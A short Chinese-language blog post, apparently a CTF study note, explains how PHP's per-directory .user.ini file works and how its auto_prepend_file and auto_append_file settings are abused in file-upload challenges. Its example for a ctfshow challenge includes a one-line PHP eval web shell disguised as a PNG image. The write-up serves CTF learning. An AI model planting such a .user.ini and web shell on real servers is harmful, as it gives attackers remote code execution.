本文最后更新于 4 天前,其中的信息可能已经有所发展或是发生改变。
说在前面
最近有实验室的小朋友做文件上传的题目,对这个点没有理太清楚
所以我来详细整理一下,顺便当做自己复习了
.user.ini文件
先来看看官方手册的解释
.user.ini
是 PHP 为 非 CGI 模式(主要是 FastCGI) 提供的一种目录级配置文件机制,用于设置当前目录及其子目录的 PHP 配置项
.user.ini
允许你在项目目录中局部修改 PHP 配置
可以看到是说对每个目录的ini文件配置,也就是常说的,对所在目录的ini配置
仅可以被fastcgi sapi/cgi进行处理,其中大部分网站都会用fastcgi,可以理解它是提供web服务器一种api,同时apache/nginx/iis这些服务器会依靠这种api来运行的
官方文档中可以看到并不是对任何php配置都能使用.user.ini
进行更改的
由于php处于安全性和对权限管理的考虑,分出了四种INI模式(INI 模式是 PHP 为每一个配置项定义的“修改权限范围”)
模式名 | 意思 | 能修改位置 |
---|---|---|
INI_SYSTEM | 系统级配置,安全敏感,只能在 php.ini | php.ini , httpd.conf |
INI_PERDIR | 目录级配置,可在 .htaccess / .user.ini | 适合 Apache / Nginx 配置 |
INI_USER | 用户级配置,可在 ini_set() 脚本内设置 | 脚本内部、.user.ini 、注册表 |
INI_ALL | 全范围可设置,可在任何地方 | 最灵活,几乎无限制 |
从列表可以看出.user.ini
除了INI_SYSTEM
模式下的配置项不可改外,其他的三种都可以
从这看就一目了然了
其中对于文件上传,我们常用到的更改就是这两个
即会包含和运行文件
//.user.ini
auto_prepend_file=shell.php
auto_append_file=shell.php
总结一下关于此类型的文件上传类型流程
一般首先是上传.user.ini
文件,其中通过修改那两个配置项来使得我们后续要上传的文件可以被包含和执行
但是注意仅仅是对当前目录下修改的配置可用
例题
简单拿ctfshow的第153题为例子吧
就是考最简单的.user.ini
就是单纯准备的这俩
//.user.ini
auto_append_file=1.png
//1,png
<?php eval($_POST[1]);?>
注意是在/upload
路径下生效的,所以我们转到此路径
flag在源码里
俺来了,俺走了,不带走一片云彩。